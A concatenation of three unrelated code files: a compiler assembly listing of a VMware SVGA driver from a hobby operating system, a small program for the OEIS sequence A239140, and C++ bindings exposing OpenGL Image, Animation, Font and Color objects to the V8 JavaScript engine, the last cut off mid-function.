lea rcx, OFFSET FLAT:$SG5811
call ?printf@@YAXPEBDZZ ; printf
$LN4@svga_init:
; 88 : }
; 89 :
; 90 : if (svga_dev.fifo_size < 0x20000) {
cmp DWORD PTR ?svga_dev@@3U_svga_drive_@@A+32, 131072 ; 00020000H
jae SHORT $LN3@svga_init
; 91 : printf ("[VMware SVGA]: FIFO size is very small, probably incorrect\n");
lea rcx, OFFSET FLAT:$SG5813
call ?printf@@YAXPEBDZZ ; printf
$LN3@svga_init:
; 92 : }
; 93 :
; 94 : if (svga_dev.device_version_id >= SVGA_ID_1) {
cmp DWORD PTR ?svga_dev@@3U_svga_drive_@@A+44, -1879048191 ; 90000001H
jb SHORT $LN2@svga_init
; 95 : svga_dev.capabilities = svga_read_reg (SVGA_REG_CAPABILITIES);
mov ecx, 17
call ?svga_read_reg@@YAII@Z ; svga_read_reg
mov DWORD PTR ?svga_dev@@3U_svga_drive_@@A+48, eax
$LN2@svga_init:
; 96 : }
; 97 :
; 98 : //!interrupts
; 99 : if (svga_dev.capabilities & SVGA_CAP_IRQMASK) {
mov eax, DWORD PTR ?svga_dev@@3U_svga_drive_@@A+48
and eax, 262144 ; 00040000H
test eax, eax
je SHORT $LN1@svga_init
; 100 : uint8_t irq = svga_dev.pci_addr->device.nonBridge.interruptLine;//pci_config_read8 (&svga_dev.pci_addr, offsetof (pci_config_space,intr_line));
mov rax, QWORD PTR ?svga_dev@@3U_svga_drive_@@A
movzx eax, BYTE PTR [rax+60]
mov BYTE PTR irq$1[rsp], al
; 101 : svga_dev.irq_line = irq;
movzx eax, BYTE PTR irq$1[rsp]
mov DWORD PTR ?svga_dev@@3U_svga_drive_@@A+68, eax
; 102 : svga_write_reg (SVGA_REG_IRQMASK, 0);
xor edx, edx
mov ecx, 33 ; 00000021H
call ?svga_write_reg@@YAXII@Z ; svga_write_reg
; 103 : printf ("Irq of svga -> %d\n", irq);
movzx eax, BYTE PTR irq$1[rsp]
mov edx, eax
lea rcx, OFFSET FLAT:$SG5817
call ?printf@@YAXPEBDZZ ; printf
; 104 : outportd (svga_dev.io_base + SVGA_IRQSTATUS_PORT, 0xff);
mov eax, DWORD PTR ?svga_dev@@3U_svga_drive_@@A+8
add eax, 8
mov edx, 255 ; 000000ffH
movzx ecx, ax
call ?outportd@@YAXGI@Z ; outportd
; 105 :
; 106 : svga_dev.irq.pending = 0;
mov DWORD PTR ?svga_dev@@3U_svga_drive_@@A+1048660, 0
$LN1@svga_init:
; 107 : //if (irq <= 244)
; 108 : // interrupt_set (irq, svga_interrupt_handler, irq);
; 109 : //irq_mask (irq, true);
; 110 :
; 111 : }
; 112 :
; 113 : svga_register_file ();
call ?svga_register_file@@YAXXZ ; svga_register_file
; 114 :
; 115 :
; 116 : svga_enable();
call ?svga_enable@@YAXXZ ; svga_enable
; 117 : svga_set_mode (get_screen_width(),get_screen_height(),32);
call ?get_screen_height@@YAIXZ ; get_screen_height
mov DWORD PTR tv174[rsp], eax
call ?get_screen_width@@YAIXZ ; get_screen_width
mov r8d, 32 ; 00000020H
mov ecx, DWORD PTR tv174[rsp]
mov edx, ecx
mov ecx, eax
call ?svga_set_mode@@YAXIII@Z ; svga_set_mode
; 118 : //svga_set_mode (1920,1080,32);
; 119 : gmr_init();
call ?gmr_init@@YAXXZ ; gmr_init
; 120 : memset(svga_dev.fb_mem,0x40,svga_dev.width*svga_dev.height*32);
mov eax, DWORD PTR ?svga_dev@@3U_svga_drive_@@A+52
imul eax, DWORD PTR ?svga_dev@@3U_svga_drive_@@A+56
imul eax, 32 ; 00000020H
mov r8d, eax
mov dl, 64 ; 00000040H
mov rcx, QWORD PTR ?svga_dev@@3U_svga_drive_@@A+24
call ?memset@@YAXPEAXEI@Z ; memset
; 121 : svga_update(0,0,svga_dev.width,svga_dev.height);
mov r9d, DWORD PTR ?svga_dev@@3U_svga_drive_@@A+56
mov r8d, DWORD PTR ?svga_dev@@3U_svga_drive_@@A+52
xor edx, edx
xor ecx, ecx
call ?svga_update@@YAXIIII@Z ; svga_update
; 122 : //screen_set_configuration(svga_dev.width,svga_dev.height);
; 123 : vm_backdoor_mouse_init (true);
mov cl, 1
call ?vm_backdoor_mouse_init@@YAX_N@Z ; vm_backdoor_mouse_init
; 124 :
; 125 : printf ("SVGA initialized\n");
lea rcx, OFFSET FLAT:$SG5818
call ?printf@@YAXPEBDZZ ; printf
$LN12@svga_init:
; 126 : }
add rsp, 88 ; 00000058H
ret 0
?svga_init@@YAXXZ ENDP ; svga_init
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
tv68 = 0
cap$ = 32
?svga_has_fifo_cap@@YA_NH@Z PROC ; svga_has_fifo_cap
; 44 : bool svga_has_fifo_cap (int cap) {
$LN5:
mov DWORD PTR [rsp+8], ecx
sub rsp, 24
; 45 : return (svga_dev.fifo_mem[SVGA_FIFO_CAPABILITIES] & cap) != 0;
mov eax, 4
imul rax, 4
mov rcx, QWORD PTR ?svga_dev@@3U_svga_drive_@@A+16
mov edx, DWORD PTR cap$[rsp]
mov eax, DWORD PTR [rcx+rax]
and eax, edx
test eax, eax
je SHORT $LN3@svga_has_f
mov DWORD PTR tv68[rsp], 1
jmp SHORT $LN4@svga_has_f
$LN3@svga_has_f:
mov DWORD PTR tv68[rsp], 0
$LN4@svga_has_f:
movzx eax, BYTE PTR tv68[rsp]
; 46 : }
add rsp, 24
ret 0
?svga_has_fifo_cap@@YA_NH@Z ENDP ; svga_has_fifo_cap
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
tv68 = 0
reg$ = 32
?svga_is_fifo_reg_valid@@YA_NH@Z PROC ; svga_is_fifo_reg_valid
; 40 : bool svga_is_fifo_reg_valid (int reg) {
$LN5:
mov DWORD PTR [rsp+8], ecx
sub rsp, 24
; 41 : return svga_dev.fifo_mem[SVGA_FIFO_MIN] > (reg << 2);
mov eax, 4
imul rax, 0
mov ecx, DWORD PTR reg$[rsp]
shl ecx, 2
mov rdx, QWORD PTR ?svga_dev@@3U_svga_drive_@@A+16
cmp DWORD PTR [rdx+rax], ecx
jbe SHORT $LN3@svga_is_fi
mov DWORD PTR tv68[rsp], 1
jmp SHORT $LN4@svga_is_fi
$LN3@svga_is_fi:
mov DWORD PTR tv68[rsp], 0
$LN4@svga_is_fi:
movzx eax, BYTE PTR tv68[rsp]
; 42 : }
add rsp, 24
ret 0
?svga_is_fifo_reg_valid@@YA_NH@Z ENDP ; svga_is_fifo_reg_valid
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
index$ = 48
value$ = 56
?svga_write_reg@@YAXII@Z PROC ; svga_write_reg
; 35 : void svga_write_reg (uint32_t index, uint32_t value) {
$LN3:
mov DWORD PTR [rsp+16], edx
mov DWORD PTR [rsp+8], ecx
sub rsp, 40 ; 00000028H
; 36 : outportd (svga_dev.io_base + SVGA_INDEX_PORT, index);
mov edx, DWORD PTR index$[rsp]
movzx ecx, WORD PTR ?svga_dev@@3U_svga_drive_@@A+8
call ?outportd@@YAXGI@Z ; outportd
; 37 : outportd (svga_dev.io_base + SVGA_VALUE_PORT, value);
mov eax, DWORD PTR ?svga_dev@@3U_svga_drive_@@A+8
inc eax
mov edx, DWORD PTR value$[rsp]
movzx ecx, ax
call ?outportd@@YAXGI@Z ; outportd
; 38 : }
add rsp, 40 ; 00000028H
ret 0
?svga_write_reg@@YAXII@Z ENDP ; svga_write_reg
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
index$ = 48
?svga_read_reg@@YAII@Z PROC ; svga_read_reg
; 30 : uint32_t svga_read_reg (uint32_t index) {
$LN3:
mov DWORD PTR [rsp+8], ecx
sub rsp, 40 ; 00000028H
; 31 : outportd (svga_dev.io_base + SVGA_INDEX_PORT, index);
mov edx, DWORD PTR index$[rsp]
movzx ecx, WORD PTR ?svga_dev@@3U_svga_drive_@@A+8
call ?outportd@@YAXGI@Z ; outportd
; 32 : return inportd (svga_dev.io_base + SVGA_VALUE_PORT);
mov eax, DWORD PTR ?svga_dev@@3U_svga_drive_@@A+8
inc eax
movzx ecx, ax
call ?inportd@@YAIG@Z ; inportd
; 33 : }
add rsp, 40 ; 00000028H
ret 0
?svga_read_reg@@YAII@Z ENDP ; svga_read_reg
_TEXT ENDS
END
|
; A239140: Number of strict partitions of n having standard deviation σ < 1.
; 1,1,2,1,2,2,2,1,3,1,2,2,2,1,3,1,2,2,2,1,3,1,2,2,2,1,3,1,2,2,2,1,3,1,2,2,2,1,3,1,2,2,2,1,3,1,2,2,2,1,3,1,2,2,2,1,3,1,2,2,2,1,3,1,2,2,2,1,3,1,2,2,2,1,3,1,2,2,2,1,3,1,2,2,2,1
mov $2,$0
lpb $0
lpb $2
div $0,2
add $1,1
mod $2,2
sub $1,$2
lpe
lpb $0
mod $0,3
gcd $2,2
add $2,$0
pow $0,$3
lpe
sub $2,1
lpe
add $1,1
|
#include <v8.h>
#include "../v8Object.h"
#include "../../src/opengl/love_opengl.h"
#include "../../src/opengl/image.h"
#include "../../src/opengl/color.h"
#include "../../src/opengl/font.h"
#include "../../src/opengl/animation.h"
using namespace love_opengl;
// extern
// forward declaractions
v8::Handle<v8::Value> JSPointfWrap(Pointf cppObject);
Pointf JSPointfUnwrap(v8::Handle<v8::Value> value);
v8::Handle<v8::Value> JSPointfListWrap(PointfList cppObject);
PointfList JSPointfListUnwrap(v8::Handle<v8::Value> value);
v8::Handle<v8::Value> JSRectfWrap(Rectf cppObject);
Rectf JSRectfUnwrap(v8::Handle<v8::Value> value);
v8::Handle<v8::Value> JSLineStippleWrap(LineStipple cppObject);
LineStipple JSLineStippleUnwrap(v8::Handle<v8::Value> value);
v8::Handle<v8::Value> JSDisplayModeWrap(DisplayMode cppObject);
DisplayMode JSDisplayModeUnwrap(v8::Handle<v8::Value> value);
v8::Handle<v8::Value> JSDisplayModeListWrap(DisplayModeList cppObject);
DisplayModeList JSDisplayModeListUnwrap(v8::Handle<v8::Value> value);
void JSpImageSetupClass(v8::Handle<v8::ObjectTemplate> js_obj);
v8::Handle<v8::ObjectTemplate> JSpImageCreateClass();
v8::Handle<v8::Value> JSpImageWrap(pImage cppObject);
pImage JSpImageUnwrap(v8::Handle<v8::Value> value);
/**
*----------------------------------------
* pImage
*----------------------------------------
*/
/**
* DestroyInstance
* Called when weak object is destroyed
*/
void JSpImageDestroyInstance(v8::Persistent<v8::Value> object, void* parameter) {
WrappedObject<pImage> *p = static_cast<WrappedObject<pImage>*>(parameter);
delete p;
object.Dispose();
}
/**
* CreateInstance
* Called when an object is created
*/
v8::Handle<v8::Value> JSpImageCreateInstance(const v8::Arguments& args) {
/*
// todo
pImage *obj = 0;
if (!obj)
obj = new pImage;
// call wrapper
*/
return v8::Undefined();
}
/**
* SetupClass
* Attach methods and properties
*/
void JSpImageSetupClass(v8::Handle<v8::ObjectTemplate> js_obj) {
}
/**
* CreateClass
* Creates a JS object
*/
v8::Handle<v8::ObjectTemplate> JSpImageCreateClass() {
v8::Handle<v8::FunctionTemplate> js_func = v8::FunctionTemplate::New(JSpImageCreateInstance);
js_func->SetClassName(v8::String::New("Image"));
v8::Handle<v8::ObjectTemplate> js_obj = js_func->InstanceTemplate();
js_obj->SetInternalFieldCount(1);
JSpImageSetupClass(js_obj);
return js_obj;
}
/**
* Wrap
* Wraps a cpp class into a JS object
*/
v8::Handle<v8::Value> JSpImageWrap(pImage cppObject) {
WrappedObject<pImage> *p = new WrappedObject<pImage>(cppObject);
v8::Handle<v8::ObjectTemplate> objT = v8::ObjectTemplate::New();
JSpImageSetupClass(objT);
objT->SetInternalFieldCount(1);
v8::Handle<v8::Object> obj = objT->NewInstance();
obj->SetInternalField(0, v8::External::New((void*)p));
// make weak
v8::Persistent<v8::Object> self = v8::Persistent<v8::Object>::New(obj);
self.MakeWeak((void*)p, &JSpImageDestroyInstance);
return obj;
}
/**
* Unwrap
* Unwrap a JS object int a cpp class
*/
pImage JSpImageUnwrap(v8::Handle<v8::Value> value) {
if (value->ToObject()->InternalFieldCount())
value = value->ToObject()->GetInternalField(0);
pImage obj;
v8::Local<v8::External> wrap = v8::Local<v8::External>::Cast(value->ToObject());
WrappedObject<pImage> *p = static_cast<WrappedObject<pImage>*>(wrap->Value());
obj = p->unwrap();
return obj;
}
void JSpAnimationSetupClass(v8::Handle<v8::ObjectTemplate> js_obj);
v8::Handle<v8::ObjectTemplate> JSpAnimationCreateClass();
v8::Handle<v8::Value> JSpAnimationWrap(pAnimation cppObject);
pAnimation JSpAnimationUnwrap(v8::Handle<v8::Value> value);
/**
*----------------------------------------
* pAnimation
*----------------------------------------
*/
/**
* DestroyInstance
* Called when weak object is destroyed
*/
void JSpAnimationDestroyInstance(v8::Persistent<v8::Value> object, void* parameter) {
WrappedObject<pAnimation> *p = static_cast<WrappedObject<pAnimation>*>(parameter);
delete p;
object.Dispose();
}
/**
* CreateInstance
* Called when an object is created
*/
v8::Handle<v8::Value> JSpAnimationCreateInstance(const v8::Arguments& args) {
/*
// todo
pAnimation *obj = 0;
if (!obj)
obj = new pAnimation;
// call wrapper
*/
return v8::Undefined();
}
/**
* pAnimation::addFrame
*/
v8::Handle<v8::Value> JSpAnimationAddFrame(const v8::Arguments& args) {
pAnimation obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pAnimation>(JSpAnimationUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 5) {
v8::HandleScope handle_scope;
double x = args[0]->NumberValue();
double y = args[1]->NumberValue();
double w = args[2]->NumberValue();
double h = args[3]->NumberValue();
int delay = args[4]->Int32Value();
obj->addFrame(x,y,w,h,delay);
}
return v8::Undefined();
}
/**
* pAnimation::setMode
*/
v8::Handle<v8::Value> JSpAnimationSetMode(const v8::Arguments& args) {
pAnimation obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pAnimation>(JSpAnimationUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 1) {
v8::HandleScope handle_scope;
int mode = args[0]->Int32Value();
obj->setMode(mode);
}
return v8::Undefined();
}
/**
* pAnimation::play
*/
v8::Handle<v8::Value> JSpAnimationPlay(const v8::Arguments& args) {
pAnimation obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pAnimation>(JSpAnimationUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 0) {
v8::HandleScope handle_scope;
obj->play();
}
return v8::Undefined();
}
/**
* pAnimation::stop
*/
v8::Handle<v8::Value> JSpAnimationStop(const v8::Arguments& args) {
pAnimation obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pAnimation>(JSpAnimationUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 0) {
v8::HandleScope handle_scope;
obj->stop();
}
return v8::Undefined();
}
/**
* pAnimation::reset
*/
v8::Handle<v8::Value> JSpAnimationReset(const v8::Arguments& args) {
pAnimation obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pAnimation>(JSpAnimationUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 0) {
v8::HandleScope handle_scope;
obj->reset();
}
return v8::Undefined();
}
/**
* pAnimation::seek
*/
v8::Handle<v8::Value> JSpAnimationSeek(const v8::Arguments& args) {
pAnimation obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pAnimation>(JSpAnimationUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 1) {
v8::HandleScope handle_scope;
int frame = args[0]->Int32Value();
obj->seek(frame);
}
return v8::Undefined();
}
/**
* pAnimation::getCurrentFrame
*/
v8::Handle<v8::Value> JSpAnimationGetCurrentFrame(const v8::Arguments& args) {
pAnimation obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pAnimation>(JSpAnimationUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 0) {
v8::HandleScope handle_scope;
int ret = (int)obj->getCurrentFrame();
return v8::Integer::New(ret);
}
return v8::Undefined();
}
/**
* pAnimation::getSize
*/
v8::Handle<v8::Value> JSpAnimationGetSize(const v8::Arguments& args) {
pAnimation obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pAnimation>(JSpAnimationUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 0) {
v8::HandleScope handle_scope;
int ret = (int)obj->getSize();
return v8::Integer::New(ret);
}
return v8::Undefined();
}
/**
* pAnimation::setDelay
*/
v8::Handle<v8::Value> JSpAnimationSetDelay(const v8::Arguments& args) {
pAnimation obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pAnimation>(JSpAnimationUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 2) {
v8::HandleScope handle_scope;
int frame = args[0]->Int32Value();
int delay = args[1]->Int32Value();
obj->setDelay(frame,delay);
}
return v8::Undefined();
}
/**
* pAnimation::setSpeed
*/
v8::Handle<v8::Value> JSpAnimationSetSpeed(const v8::Arguments& args) {
pAnimation obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pAnimation>(JSpAnimationUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 1) {
v8::HandleScope handle_scope;
int speed = args[0]->Int32Value();
obj->setSpeed(speed);
}
return v8::Undefined();
}
/**
* pAnimation::getSpeed
*/
v8::Handle<v8::Value> JSpAnimationGetSpeed(const v8::Arguments& args) {
pAnimation obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pAnimation>(JSpAnimationUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 0) {
v8::HandleScope handle_scope;
double ret = (double)obj->getSpeed();
return v8::Number::New(ret);
}
return v8::Undefined();
}
/**
* pAnimation::getWidth
*/
v8::Handle<v8::Value> JSpAnimationGetWidth(const v8::Arguments& args) {
pAnimation obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pAnimation>(JSpAnimationUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 0) {
v8::HandleScope handle_scope;
double ret = (double)obj->getWidth();
return v8::Number::New(ret);
}
return v8::Undefined();
}
/**
* pAnimation::getHeight
*/
v8::Handle<v8::Value> JSpAnimationGetHeight(const v8::Arguments& args) {
pAnimation obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pAnimation>(JSpAnimationUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 0) {
v8::HandleScope handle_scope;
double ret = (double)obj->getHeight();
return v8::Number::New(ret);
}
return v8::Undefined();
}
/**
* pAnimation::setCenter
*/
v8::Handle<v8::Value> JSpAnimationSetCenter(const v8::Arguments& args) {
pAnimation obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pAnimation>(JSpAnimationUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 2) {
v8::HandleScope handle_scope;
double x = args[0]->NumberValue();
double y = args[1]->NumberValue();
obj->setCenter(x,y);
}
return v8::Undefined();
}
/**
* pAnimation::update
*/
v8::Handle<v8::Value> JSpAnimationUpdate(const v8::Arguments& args) {
pAnimation obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pAnimation>(JSpAnimationUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 1) {
v8::HandleScope handle_scope;
double dt = args[0]->NumberValue();
obj->update(dt);
}
return v8::Undefined();
}
/**
* SetupClass
* Attach methods and properties
*/
void JSpAnimationSetupClass(v8::Handle<v8::ObjectTemplate> js_obj) {
js_obj->Set(v8::String::New("addFrame"), v8::FunctionTemplate::New(JSpAnimationAddFrame));
js_obj->Set(v8::String::New("setMode"), v8::FunctionTemplate::New(JSpAnimationSetMode));
js_obj->Set(v8::String::New("play"), v8::FunctionTemplate::New(JSpAnimationPlay));
js_obj->Set(v8::String::New("stop"), v8::FunctionTemplate::New(JSpAnimationStop));
js_obj->Set(v8::String::New("reset"), v8::FunctionTemplate::New(JSpAnimationReset));
js_obj->Set(v8::String::New("seek"), v8::FunctionTemplate::New(JSpAnimationSeek));
js_obj->Set(v8::String::New("getCurrentFrame"), v8::FunctionTemplate::New(JSpAnimationGetCurrentFrame));
js_obj->Set(v8::String::New("getSize"), v8::FunctionTemplate::New(JSpAnimationGetSize));
js_obj->Set(v8::String::New("setDelay"), v8::FunctionTemplate::New(JSpAnimationSetDelay));
js_obj->Set(v8::String::New("setSpeed"), v8::FunctionTemplate::New(JSpAnimationSetSpeed));
js_obj->Set(v8::String::New("getSpeed"), v8::FunctionTemplate::New(JSpAnimationGetSpeed));
js_obj->Set(v8::String::New("getWidth"), v8::FunctionTemplate::New(JSpAnimationGetWidth));
js_obj->Set(v8::String::New("getHeight"), v8::FunctionTemplate::New(JSpAnimationGetHeight));
js_obj->Set(v8::String::New("setCenter"), v8::FunctionTemplate::New(JSpAnimationSetCenter));
js_obj->Set(v8::String::New("update"), v8::FunctionTemplate::New(JSpAnimationUpdate));
}
/**
* CreateClass
* Creates a JS object
*/
v8::Handle<v8::ObjectTemplate> JSpAnimationCreateClass() {
v8::Handle<v8::FunctionTemplate> js_func = v8::FunctionTemplate::New(JSpAnimationCreateInstance);
js_func->SetClassName(v8::String::New("Animation"));
v8::Handle<v8::ObjectTemplate> js_obj = js_func->InstanceTemplate();
js_obj->SetInternalFieldCount(1);
JSpAnimationSetupClass(js_obj);
return js_obj;
}
/**
* Wrap
* Wraps a cpp class into a JS object
*/
v8::Handle<v8::Value> JSpAnimationWrap(pAnimation cppObject) {
WrappedObject<pAnimation> *p = new WrappedObject<pAnimation>(cppObject);
v8::Handle<v8::ObjectTemplate> objT = v8::ObjectTemplate::New();
JSpAnimationSetupClass(objT);
objT->SetInternalFieldCount(1);
v8::Handle<v8::Object> obj = objT->NewInstance();
obj->SetInternalField(0, v8::External::New((void*)p));
// make weak
v8::Persistent<v8::Object> self = v8::Persistent<v8::Object>::New(obj);
self.MakeWeak((void*)p, &JSpAnimationDestroyInstance);
return obj;
}
/**
* Unwrap
* Unwrap a JS object int a cpp class
*/
pAnimation JSpAnimationUnwrap(v8::Handle<v8::Value> value) {
if (value->ToObject()->InternalFieldCount())
value = value->ToObject()->GetInternalField(0);
pAnimation obj;
v8::Local<v8::External> wrap = v8::Local<v8::External>::Cast(value->ToObject());
WrappedObject<pAnimation> *p = static_cast<WrappedObject<pAnimation>*>(wrap->Value());
obj = p->unwrap();
return obj;
}
void JSpFontSetupClass(v8::Handle<v8::ObjectTemplate> js_obj);
v8::Handle<v8::ObjectTemplate> JSpFontCreateClass();
v8::Handle<v8::Value> JSpFontWrap(pFont cppObject);
pFont JSpFontUnwrap(v8::Handle<v8::Value> value);
/**
*----------------------------------------
* pFont
*----------------------------------------
*/
/**
* DestroyInstance
* Called when weak object is destroyed
*/
void JSpFontDestroyInstance(v8::Persistent<v8::Value> object, void* parameter) {
WrappedObject<pFont> *p = static_cast<WrappedObject<pFont>*>(parameter);
delete p;
object.Dispose();
}
/**
* CreateInstance
* Called when an object is created
*/
v8::Handle<v8::Value> JSpFontCreateInstance(const v8::Arguments& args) {
/*
// todo
pFont *obj = 0;
if (!obj)
obj = new pFont;
// call wrapper
*/
return v8::Undefined();
}
/**
* pFont::getHeight
*/
v8::Handle<v8::Value> JSpFontGetHeight(const v8::Arguments& args) {
pFont obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pFont>(JSpFontUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 0) {
v8::HandleScope handle_scope;
int ret = (int)obj->getHeight();
return v8::Integer::New(ret);
}
return v8::Undefined();
}
/**
* pFont::getWidth
*/
v8::Handle<v8::Value> JSpFontGetWidth(const v8::Arguments& args) {
pFont obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pFont>(JSpFontUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 1) {
v8::HandleScope handle_scope;
v8::String::Utf8Value _args0(args[0]); char* line = *_args0;
int ret = (int)obj->getWidth(line);
return v8::Integer::New(ret);
}
return v8::Undefined();
}
/**
* pFont::setLineHeight
*/
v8::Handle<v8::Value> JSpFontSetLineHeight(const v8::Arguments& args) {
pFont obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pFont>(JSpFontUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 1) {
v8::HandleScope handle_scope;
double height = args[0]->NumberValue();
obj->setLineHeight(height);
}
return v8::Undefined();
}
/**
* pFont::getLineHeight
*/
v8::Handle<v8::Value> JSpFontGetLineHeight(const v8::Arguments& args) {
pFont obj;
v8::Local<v8::Object> self = args.Holder();
if (self->InternalFieldCount()) {
obj = static_cast<pFont>(JSpFontUnwrap(self));
} else {
return v8::Undefined();
}
if (args.Length() == 0) {
v8::HandleScope handle_scope;
int ret = (int)obj->getLineHeight();
return v8::Integer::New(ret);
}
return v8::Undefined();
}
/**
* SetupClass
* Attach methods and properties
*/
void JSpFontSetupClass(v8::Handle<v8::ObjectTemplate> js_obj) {
js_obj->Set(v8::String::New("getHeight"), v8::FunctionTemplate::New(JSpFontGetHeight));
js_obj->Set(v8::String::New("getWidth"), v8::FunctionTemplate::New(JSpFontGetWidth));
js_obj->Set(v8::String::New("setLineHeight"), v8::FunctionTemplate::New(JSpFontSetLineHeight));
js_obj->Set(v8::String::New("getLineHeight"), v8::FunctionTemplate::New(JSpFontGetLineHeight));
}
/**
* CreateClass
* Creates a JS object
*/
v8::Handle<v8::ObjectTemplate> JSpFontCreateClass() {
v8::Handle<v8::FunctionTemplate> js_func = v8::FunctionTemplate::New(JSpFontCreateInstance);
js_func->SetClassName(v8::String::New("Font"));
v8::Handle<v8::ObjectTemplate> js_obj = js_func->InstanceTemplate();
js_obj->SetInternalFieldCount(1);
JSpFontSetupClass(js_obj);
return js_obj;
}
/**
* Wrap
* Wraps a cpp class into a JS object
*/
v8::Handle<v8::Value> JSpFontWrap(pFont cppObject) {
WrappedObject<pFont> *p = new WrappedObject<pFont>(cppObject);
v8::Handle<v8::ObjectTemplate> objT = v8::ObjectTemplate::New();
JSpFontSetupClass(objT);
objT->SetInternalFieldCount(1);
v8::Handle<v8::Object> obj = objT->NewInstance();
obj->SetInternalField(0, v8::External::New((void*)p));
// make weak
v8::Persistent<v8::Object> self = v8::Persistent<v8::Object>::New(obj);
self.MakeWeak((void*)p, &JSpFontDestroyInstance);
return obj;
}
/**
* Unwrap
* Unwrap a JS object int a cpp class
*/
pFont JSpFontUnwrap(v8::Handle<v8::Value> value) {
if (value->ToObject()->InternalFieldCount())
value = value->ToObject()->GetInternalField(0);
pFont obj;
v8::Local<v8::External> wrap = v8::Local<v8::External>::Cast(value->ToObject());
WrappedObject<pFont> *p = static_cast<WrappedObject<pFont>*>(wrap->Value());
obj = p->unwrap();
return obj;
}
void JSpColorSetupClass(v8::Handle<v8::ObjectTemplate> js_obj);
v8::Handle<v8::ObjectTemplate> JSpColorCreateClass();
v8::Handle<v8::Value> JSpColorWrap(pColor cppObject);
pColor JSpColorUnwrap(v8::Handle<v8::Value> value);
/**
*----------------------------------------
* pColor
*----------------------------------------
*/
/**
* DestroyInstance
* Called when weak object is destroyed
*/
void JSpColorDestroyInstance(v8::Persistent<v8::Value> object, void* parameter) {
WrappedObject<pColor> *p = static_cast<WrappedObject<pColor>*>(parameter);
delete p;
object.Dispose();
}
/**
* CreateInstance
* Called when an object is created
*/
v8::Handle<v8::Value> JSpColorCreateInstance(const v8::Arguments& args) {
/*
// todo
pColor *obj = 0;
if (!obj)
obj = new pColor;
// call wrapper
*/
return v8::Undefined();
}
/**
* SetupClass
* Attach methods and properties
*/
void JSpColorSetupClass(v8::Handle<v8::ObjectTemplate> js_obj) {
}
/**
* CreateClass
* Creates a JS object
*/
v8::Handle<v8::ObjectTemplate> JSpColorCreateClass() {
v8::Handle<v8::FunctionTemplate> js_func = v8::FunctionTemplate::New(JSpColorCreateInstance);
js_func->SetClassName(v8::String::New("Color"));
v8::Handle<v8::ObjectTemplate> js_obj = js_func->InstanceTemplate();
js_obj->SetInternalFieldCount(1);
JSpColorSetupClass(js_obj);
return js_obj;
}
/**
* Wrap
* Wraps a cpp class into a JS object
*/
v8::Handle<v8::Value> JSpColorWrap(pColor cppObject) {
WrappedObject<pColor> *p = new WrappedObject<pColor>(cppObject);
v8::Handle<v8::ObjectTemplate> objT = v8::ObjectTemplate::New();
JSpColorSetupClass(objT);
objT->SetInternalFieldCount(1);
v8::Handle<v8::Object> obj = objT->NewInstance();
obj->SetInternalField(0, v8::External::New((void*)p));
// make weak
v8::Persistent<v8::Object> self = v8::Persistent<v8::Object>::New(obj);
self.MakeWeak((void*)p, &JSpColorDestroyInstance);
return obj;
}
/**
* Unwrap
* Unwrap a JS object int a cpp class
*/
pColor JSpColorUnwrap(v8::Handle<v8::Value> value) {
if (value->ToObject()->InternalFieldCount())
value = value->ToObject()->GetInternalField(0);
pColor obj;
v8::Local<v8::External> wrap = v8::Local<v8::External>::Cast(value->ToObject());
